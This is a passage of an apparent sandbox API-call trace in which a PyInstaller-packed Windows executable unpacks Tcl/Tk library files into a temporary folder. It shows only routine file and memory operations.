0x1 [0044.951] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.951] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.951] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.951] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.951] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.951] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.951] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.951] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.951] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.951] CloseHandle (hObject=0x10c) returned 1 [0044.951] GetLastError () returned 0x0 [0044.951] SetLastError (dwErrCode=0x0) [0044.951] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk") returned 52 [0044.951] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.951] GetFileType (hFile=0x10c) returned 0x1 [0044.951] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.951] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.951] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.951] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.951] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.951] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.952] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.952] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.952] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.952] CloseHandle (hObject=0x10c) returned 1 [0044.952] GetLastError () returned 0x0 [0044.952] SetLastError (dwErrCode=0x0) [0044.952] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\sizegrip.tcl") returned 65 [0044.952] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\sizegrip.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk\\sizegrip.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.952] GetLastError () returned 0x2 [0044.952] SetLastError (dwErrCode=0x2) [0044.952] GetLastError () returned 0x2 [0044.952] SetLastError (dwErrCode=0x2) [0044.952] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\sizegrip.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\sizegrip.tcl", lpFilePart=0x0) returned 0x40 [0044.952] GetLastError () returned 0x2 [0044.952] SetLastError (dwErrCode=0x2) [0044.952] GetLastError () returned 0x2 [0044.952] SetLastError (dwErrCode=0x2) [0044.952] GetLastError () returned 0x2 [0044.952] SetLastError (dwErrCode=0x2) [0044.952] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\sizegrip.tcl") returned 65 [0044.952] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.952] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\sizegrip.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk\\sizegrip.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.954] GetFileType (hFile=0x10c) returned 0x1 [0044.954] htonl (hostlong=0x58090000) returned 0x958 [0044.954] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.954] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x958, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0x958, lpOverlapped=0x0) returned 1 [0044.955] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.955] CloseHandle (hObject=0x10c) returned 1 [0044.955] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0044.955] htonl (hostlong=0x30000000) returned 0x30 [0044.955] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.955] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.955] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.955] GetFileType (hFile=0x10c) returned 0x1 [0044.955] htonl (hostlong=0x2f826000) returned 0x60822f [0044.955] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x65322f, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.956] htonl (hostlong=0xe6050000) returned 0x5e6 [0044.956] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x5e6) returned 0x550600 [0044.956] htonl (hostlong=0xe6050000) returned 0x5e6 [0044.956] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.956] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.956] htonl (hostlong=0x9f100000) returned 0x109f [0044.956] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x109f) returned 0x562098 [0044.956] htonl (hostlong=0xe6050000) returned 0x5e6 [0044.956] htonl (hostlong=0x9f100000) returned 0x109f [0044.956] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563140 [0044.956] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563140 | out: hHeap=0x530000) returned 1 [0044.956] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0044.956] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.956] CloseHandle (hObject=0x10c) returned 1 [0044.956] GetLastError () returned 0x0 [0044.956] SetLastError (dwErrCode=0x0) [0044.956] GetLastError () returned 0x0 [0044.956] SetLastError (dwErrCode=0x0) [0044.956] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.956] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.956] GetFileType (hFile=0x10c) returned 0x1 [0044.956] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.956] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.956] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.957] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.957] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.957] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.957] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.957] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.957] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.957] CloseHandle (hObject=0x10c) returned 1 [0044.957] GetLastError () returned 0x0 [0044.957] SetLastError (dwErrCode=0x0) [0044.957] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk") returned 52 [0044.957] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.957] GetFileType (hFile=0x10c) returned 0x1 [0044.957] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.957] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.957] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.957] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.957] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.957] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.957] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.957] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.957] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.957] CloseHandle (hObject=0x10c) returned 1 [0044.957] GetLastError () returned 0x0 [0044.957] SetLastError (dwErrCode=0x0) [0044.958] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\spinbox.tcl") returned 64 [0044.958] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\spinbox.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk\\spinbox.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.958] GetLastError () returned 0x2 [0044.958] SetLastError (dwErrCode=0x2) [0044.958] GetLastError () returned 0x2 [0044.958] SetLastError (dwErrCode=0x2) [0044.958] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\spinbox.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\spinbox.tcl", lpFilePart=0x0) returned 0x3f [0044.958] GetLastError () returned 0x2 [0044.958] SetLastError (dwErrCode=0x2) [0044.958] GetLastError () returned 0x2 [0044.958] SetLastError (dwErrCode=0x2) [0044.958] GetLastError () returned 0x2 [0044.958] SetLastError (dwErrCode=0x2) [0044.958] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\spinbox.tcl") returned 64 [0044.958] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.958] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\spinbox.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk\\spinbox.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.958] GetFileType (hFile=0x10c) returned 0x1 [0044.958] htonl (hostlong=0x9f100000) returned 0x109f [0044.958] WriteFile (in: hFile=0x10c, lpBuffer=0x562098*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x562098*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0044.959] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.959] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x9f, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0x9f, lpOverlapped=0x0) returned 1 [0044.959] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.959] CloseHandle (hObject=0x10c) returned 1 [0044.960] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0044.960] htonl (hostlong=0x30000000) returned 0x30 [0044.960] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.960] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.960] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.960] GetFileType (hFile=0x10c) returned 0x1 [0044.961] htonl (hostlong=0x15886000) returned 0x608815 [0044.961] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x653815, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.961] htonl (hostlong=0x68090000) returned 0x968 [0044.961] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x968) returned 0x55e278 [0044.961] htonl (hostlong=0x68090000) returned 0x968 [0044.961] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.961] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.961] htonl (hostlong=0x9f220000) returned 0x229f [0044.961] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x229f) returned 0x562098 [0044.961] htonl (hostlong=0x68090000) returned 0x968 [0044.962] htonl (hostlong=0x9f220000) returned 0x229f [0044.962] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x564340 [0044.962] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x564340 | out: hHeap=0x530000) returned 1 [0044.962] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0044.962] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.962] CloseHandle (hObject=0x10c) returned 1 [0044.962] GetLastError () returned 0x0 [0044.962] SetLastError (dwErrCode=0x0) [0044.962] GetLastError () returned 0x0 [0044.962] SetLastError (dwErrCode=0x0) [0044.962] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.962] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.962] GetFileType (hFile=0x10c) returned 0x1 [0044.962] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.962] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.962] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.962] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.962] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.962] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.963] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.963] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.963] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.963] CloseHandle (hObject=0x10c) returned 1 [0044.963] GetLastError () returned 0x0 [0044.963] SetLastError (dwErrCode=0x0) [0044.963] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk") returned 52 [0044.963] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.963] GetFileType (hFile=0x10c) returned 0x1 [0044.963] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.963] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.963] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.963] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.963] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.963] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.963] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.963] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.963] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.963] CloseHandle (hObject=0x10c) returned 1 [0044.963] GetLastError () returned 0x0 [0044.963] SetLastError (dwErrCode=0x0) [0044.963] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\treeview.tcl") returned 65 [0044.963] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\treeview.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk\\treeview.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.963] GetLastError () returned 0x2 [0044.963] SetLastError (dwErrCode=0x2) [0044.964] GetLastError () returned 0x2 [0044.964] SetLastError (dwErrCode=0x2) [0044.964] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\treeview.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\treeview.tcl", lpFilePart=0x0) returned 0x40 [0044.964] GetLastError () returned 0x2 [0044.964] SetLastError (dwErrCode=0x2) [0044.964] GetLastError () returned 0x2 [0044.964] SetLastError (dwErrCode=0x2) [0044.964] GetLastError () returned 0x2 [0044.964] SetLastError (dwErrCode=0x2) [0044.964] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\treeview.tcl") returned 65 [0044.964] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.964] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\treeview.tcl" (normalized: 